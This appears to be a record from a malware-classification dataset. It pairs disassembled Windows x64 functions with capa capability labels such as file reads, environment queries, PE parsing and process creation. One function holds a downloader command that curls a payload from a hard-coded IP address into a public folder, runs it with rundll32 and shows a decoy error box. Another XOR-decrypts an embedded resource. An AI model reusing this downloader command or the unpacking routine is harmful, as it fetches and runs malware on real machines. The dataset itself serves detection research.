joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001aa24
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x14004ba60]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14001aa82
cmp word [rdx], r12w
jne 0x14001aa82
or byte [rax + r8*8 + 0x38], cl
jmp 0x14001aa88
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14001abe3
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14001abbe
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14001aac1
mov rcx, r9
jmp 0x14001aae4
cmp r9, rdx
jae 0x14001aafb
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14001aaa5
jmp 0x14001abe3
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001abb8
cmp dword [rsp + 0x80], edi
je 0x14001abb8
mov rdx, r14
lea r11, [0x14004ba60]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14001ab91
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14001ab64
mov word [rbx], r12w
jmp 0x14001abdf
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14001ab6d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14001abdf
cmp word [rsp + 0x70], r12w
jne 0x14001ab9e
cmp rbx, rsi
je 0x14001ab5e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14001b81c
cmp word [rsp + 0x70], r12w
je 0x14001abe3
mov word [rbx], r13w
jmp 0x14001abdf
lea r11, [0x14004ba60]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14001abdb
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14001abe3
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001b438
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14001b46a
call fcn.140015a18
mov dword [rax], 0x16
call fcn.140019e60
jmp 0x14001b589
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14001b589
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14001b589
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14001b499
lock or dword [rcx + 0x14], 0x10
jmp 0x14001b589
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14001b4ad
call fcn.140022720
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140019244
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14001aed0
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14001b577
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14001b542
mov rcx, rsi
call fcn.140019244
cmp eax, edi
je 0x14001b52d
mov rcx, rsi
call fcn.140019244
cmp eax, 0xfffffffe
je 0x14001b52d
mov rcx, rsi
call fcn.140019244
movsxd rbx, eax
lea r14, [0x14004ba60]
mov rcx, rsi
sar rbx, 6
call fcn.140019244
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14001b534
lea rdx, [0x14003c3d0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14001b542
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14001b566
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14001b566
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14001b566
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14001b58c
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140021a2c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140021a5c
xor eax, eax
jmp 0x140021b1f
mov rbp, rbx
cmp word [rax], si
je 0x140021a81
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140021a68
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140021a64
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001f0b4
movsxd r14, eax
test eax, eax
jne 0x140021abf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140021a55
mov rcx, r14
call fcn.14001cbb0
mov rdi, rax
test rax, rax
jne 0x140021ad8
xor ecx, ecx
call fcn.140019ec8
jmp 0x140021ab4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001f0b4
test eax, eax
jne 0x140021b09
mov rcx, rdi
call fcn.140019ec8
jmp 0x140021b13
xor ecx, ecx
call fcn.140019ec8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140021b3c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140021bc3
mov rsi, rbx
cmp word [rax], bp
je 0x140021b82
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140021b6c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140021b68
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001cbb0
mov rdi, rax
test rax, rax
je 0x140021bb0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000ac20
mov rbp, rdi
xor ecx, ecx
call fcn.140019ec8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140026170
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140014434
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400261fa
cmp byte [rbp - 0x21], r15b
je 0x1400261f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140026230
call fcn.14001e0e8
test eax, eax
jne 0x14002621c
cmp byte [rbp - 0x21], r15b
je 0x140026214
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140026230
cmp byte [rbp - 0x21], r15b
je 0x14002622d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140013f1c
test eax, eax
jne 0x1400262d0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140014434
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002626f
cmp byte [rbp - 0x21], r15b
je 0x1400262a4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400262a4
call fcn.14001e0e8
test eax, eax
jne 0x140026290
cmp byte [rbp - 0x21], r15b
je 0x140026289
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400262a4
cmp byte [rbp - 0x21], r15b
je 0x1400262a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140013f1c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400262d0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400262d3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400262e1
mov rcx, rdi
call fcn.140019ec8
cmp byte [rbp + 0x3f], r15b
je 0x1400262f0
mov rcx, qword [rbp + 0x27]
call fcn.140019ec8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140027944
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b81c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b81c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027a94
cmp rax, 0xffffffffffffffff
je 0x140027a94
xor edi, edi
test rbp, rbp
jle 0x140027a3f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001de58
mov rbx, rax
test rax, rax
jne 0x1400279cc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027a35
mov edx, 0x8000
mov ecx, r14d
call fcn.140015300
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c51c
cmp eax, 0xffffffff
je 0x140027a15
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400279dc
mov edx, r15d
mov ecx, r14d
call fcn.140015300
jmp 0x140027a35
cmp byte [rsi + 0x38], dil
je 0x140027a2c
cmp dword [rsi + 0x34], 5
jne 0x140027a2c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027a35
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019ec8
jmp 0x140027aa8
jns 0x140027aa8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b81c
cmp rax, 0xffffffffffffffff
jne 0x140027a60
cmp byte [rsi + 0x30], dil
je 0x140027aa8
mov edi, dword [rsi + 0x2c]
jmp 0x140027aa8
mov ecx, r14d
call fcn.1400169ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027aa8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027aa8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027aa1
mov eax, dword [rsi + 0x2c]
jmp 0x140027aa6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b81c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400026e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r12
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov r12, rcx
call qword [sym.imp.ucrtbase.dll_strlen]
mov rbx, rax
xor eax, eax
test rbx, rbx
je 0x140002739
cmp byte [r12 + rbx - 1], 0xa
je 0x140002714
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x48]
xchg dword [0x140004220], eax
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov edx, 1
mov r9, rax
mov r8, rbx
mov rcx, r12
call qword [sym.imp.ucrtbase.dll_fwrite]
add rsp, 0x20
pop rbx
pop r12
pop rbp
ret

Function at 0x1400027a0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r13
push r12
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
lea rax, [rbp - 8]
mov qword [rsp + 0x20], r8
mov r12, r8
lea r9, [rbp - 4]
mov dword [rbp - 8], 0x1fe
xor r8d, r8d
mov qword [rsp + 0x28], rax
call qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov r13d, eax
test eax, eax
jne 0x1400027e1
cmp dword [rbp - 4], 1
je 0x1400027f0
mov eax, r13d
add rsp, 0x48
pop rbx
pop r12
pop r13
pop rbp
ret
cmp word [r12], 0
je 0x140002860
mov rax, r12
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x140002800
sub rax, r12
sar rax, 1
inc eax
cdqe
add rax, rax
xor ecx, ecx
mov rbx, qword [sym.imp.ucrtbase.dll_wcschr]
mov word [r12 + rax], cx
jmp 0x140002839
xor edx, edx
lea r12, [rax + 2]
mov word [rax], dx
mov edx, 0x2c
mov rcx, r12
call rbx
test rax, rax
jne 0x140002830
mov eax, r13d
add rsp, 0x48
pop rbx
pop r12
pop r13
pop rbp
ret
mov eax, 2
jmp 0x140002817
Function at 0x140002bf0
Capabilities:
Check if process is running under wine

Disassembly:
push rbp
push r13
push r12
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
lea rdx, str.SoftwareWineWineBrowser
mov r12, rcx
lea r8, [rbp - 0x58]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
lea r13, [rbp - 0x50]
test eax, eax
je 0x140002cb0
mov rax, qword [0x1400055d0]
movdqa xmm0, xmmword [str.xdg_open]
movdqa xmm1, xmmword [0x140005570]
movdqa xmm2, xmmword [0x140005580]
mov qword [rbp + 0x20], rax
mov eax, dword [0x1400055d8]
movdqa xmm3, xmmword [0x140005590]
movdqa xmm4, xmmword [0x1400055a0]
movaps xmmword [rbp - 0x50], xmm0
movdqa xmm5, xmmword [0x1400055b0]
movdqa xmm0, xmmword [0x1400055c0]
mov dword [rbp + 0x28], eax
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x20], xmm3
movaps xmmword [rbp - 0x10], xmm4
movaps xmmword [rbp], xmm5
movaps xmmword [rbp + 0x10], xmm0
mov rdx, r12
mov rcx, r13
call sym.launch_app
add rsp, 0x238
pop rbx
pop r12
pop r13
pop rbp
ret
mov rcx, qword [rbp - 0x58]
mov r8, r13
lea rdx, str.Browsers
call sym.get_commands.constprop.0
mov rcx, qword [rbp - 0x58]
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
je 0x140002c94
jmp 0x140002c2c

Function at 0x140002ce0
Capabilities:
Check if process is running under wine

Disassembly:
push rbp
push r13
push r12
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
lea rdx, str.SoftwareWineWineBrowser
mov r12, rcx
lea r8, [rbp - 0x58]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
lea r13, [rbp - 0x50]
test eax, eax
je 0x140002db0
mov eax, dword [0x140005660]
movdqa xmm0, xmmword [str._usr_bin_open]
movdqa xmm1, xmmword [0x1400055f0]
movdqa xmm2, xmmword [0x140005600]
mov dword [rbp + 0x30], eax
movzx eax, word [0x140005664]
movdqa xmm3, xmmword [str.mozilla_thunderbird]
movdqa xmm4, xmmword [0x140005620]
movaps xmmword [rbp - 0x50], xmm0
movdqa xmm5, xmmword [0x140005630]
movdqa xmm0, xmmword [0x140005640]
movaps xmmword [rbp - 0x40], xmm1
mov word [rbp + 0x34], ax
movdqa xmm1, xmmword [str.evolution]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x20], xmm3
movaps xmmword [rbp - 0x10], xmm4
movaps xmmword [rbp], xmm5
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp + 0x20], xmm1
mov rdx, r12
mov rcx, r13
call sym.launch_app
add rsp, 0x238
pop rbx
pop r12
pop r13
pop rbp
ret
mov rcx, qword [rbp - 0x58]
mov r8, r13
lea rdx, str.Mailers
call sym.get_commands.constprop.0
mov rcx, qword [rbp - 0x58]
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
je 0x140002d90
jmp 0x140002d1c
Function at 0x140003be0
Capabilities:
Terminate process

Disassembly:
push rbp
push r13
push r12
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov ecx, 1
call sym._configure_wide_argv
call sym._initialize_wide_environment
call sym.__p___argc
mov r12d, dword [rax]
call sym.__p___wargv
mov r13, qword [rax]
call sym._get_initial_wide_environment
xor ecx, ecx
mov rbx, rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x10]
mov edx, dword [rax + 0x3c]
cmp word [rax + rdx + 0x5c], 2
sete cl
inc ecx
call sym._set_app_type
mov ecx, r12d
mov r8, rbx
mov rdx, r13
call sym.wmain
mov ecx, eax
call sym.exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140002060
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 8], ecx
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
xor ecx, ecx
mov rdi, r8
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x14002421c]
mov edx, 0x65
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x14000218c
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, r14
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test rbx, rbx
je 0x14000218c
test eax, eax
je 0x14000218c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14000218c
mov rcx, qword [rdi]
mov dword [rbp - 0x20], 0x6e137d8e
mov dword [rbp - 0x1c], 0xe8e36d3b
mov dword [rbp - 0x18], 0x557844ad
mov dword [rbp - 0x14], 0x7d324c06
mov dword [rbp - 0x10], 0x487e8775
mov dword [rbp - 0xc], 0xb45d56ee
mov dword [rbp - 8], 0x12330c27
mov dword [rbp - 4], 0x79aa50ca
cmp rcx, qword [rdi + 8]
je 0x140002130
mov qword [rdi + 8], rcx
mov rax, qword [rdi + 0x10]
sub rax, rcx
cmp rsi, rax
jbe 0x140002147
mov rdx, rsi
mov rcx, rdi
call fcn.140003210
xor ebx, ebx
test rsi, rsi
je 0x140002188
nop
mov rdx, qword [rdi + 8]
mov rax, rbx
and eax, 0x1f
movzx ecx, byte [rbp + rax - 0x20]
xor cl, byte [rbx + r14]
mov byte [rbp + 0x20], cl
cmp rdx, qword [rdi + 0x10]
je 0x140002174
mov byte [rdx], cl
inc qword [rdi + 8]
jmp 0x140002180
lea r8, [rbp + 0x20]
mov rcx, rdi
call fcn.140003bc0
inc rbx
cmp rbx, rsi
jb 0x140002150
mov al, 1
jmp 0x14000218e
xor al, al
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rbp
ret
Function at 0x140005108
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005152
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005152
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005152
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005152
cmp dword [rcx + 0x84], 0xe
jbe 0x140005152
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005154
xor al, al
add rsp, 0x28
ret

Function at 0x14000b75c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000b558
Function at 0x140011b44
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140011bcb
mov rsi, rbx
cmp word [rax], bp
je 0x140011b8a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140011b74
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140011b70
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000e8e0
mov rdi, rax
test rax, rax
je 0x140011bb8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140006740
mov rbp, rdi
xor ecx, ecx
call fcn.14000e8a4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140015ab8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14000f588
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140015b59
cmp ebx, dword [rsp + 0x30]
je 0x140015b52
test esi, esi
je 0x140015b52
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140015b2d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140015b3a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140015b17
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140015b3e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140015b5b
mov eax, 1
jmp 0x140015b5b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140019ae0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140019b08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140019b08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x33d5013a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
xor ecx, ecx
lea r9, str._c_curl__o_c:userspublicJHVOcdTnj.dat_http:__135.125.177.82_UMYApd4_gjh6ytimeout_15rundll32_c:userspublicJHVOcdTnj.dat_scab__k_besogon728
lea r8, str.cmd.exe
lea rdx, str.open
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
lea rdx, str.The_data_is_invalid.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x38
ret

Function at 0x33d5015a0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.33d5022a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.33d5022a0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x33d501610
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x33d507064]
mov r12, rcx
test ebx, ebx
jle 0x33d501740
mov rax, qword [0x33d507068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x33d50165c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x33d5016e3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x33d501640
mov rcx, r12
call fcn.33d501d90
mov rsi, rax
test rax, rax
je 0x33d501762
mov rax, qword [0x33d507068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.33d501ec0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x33d507068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x33d501747
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x33d5016dc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x33d5016f0
add dword [0x33d507064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x33d507068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x33d5016dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.33d5015a0
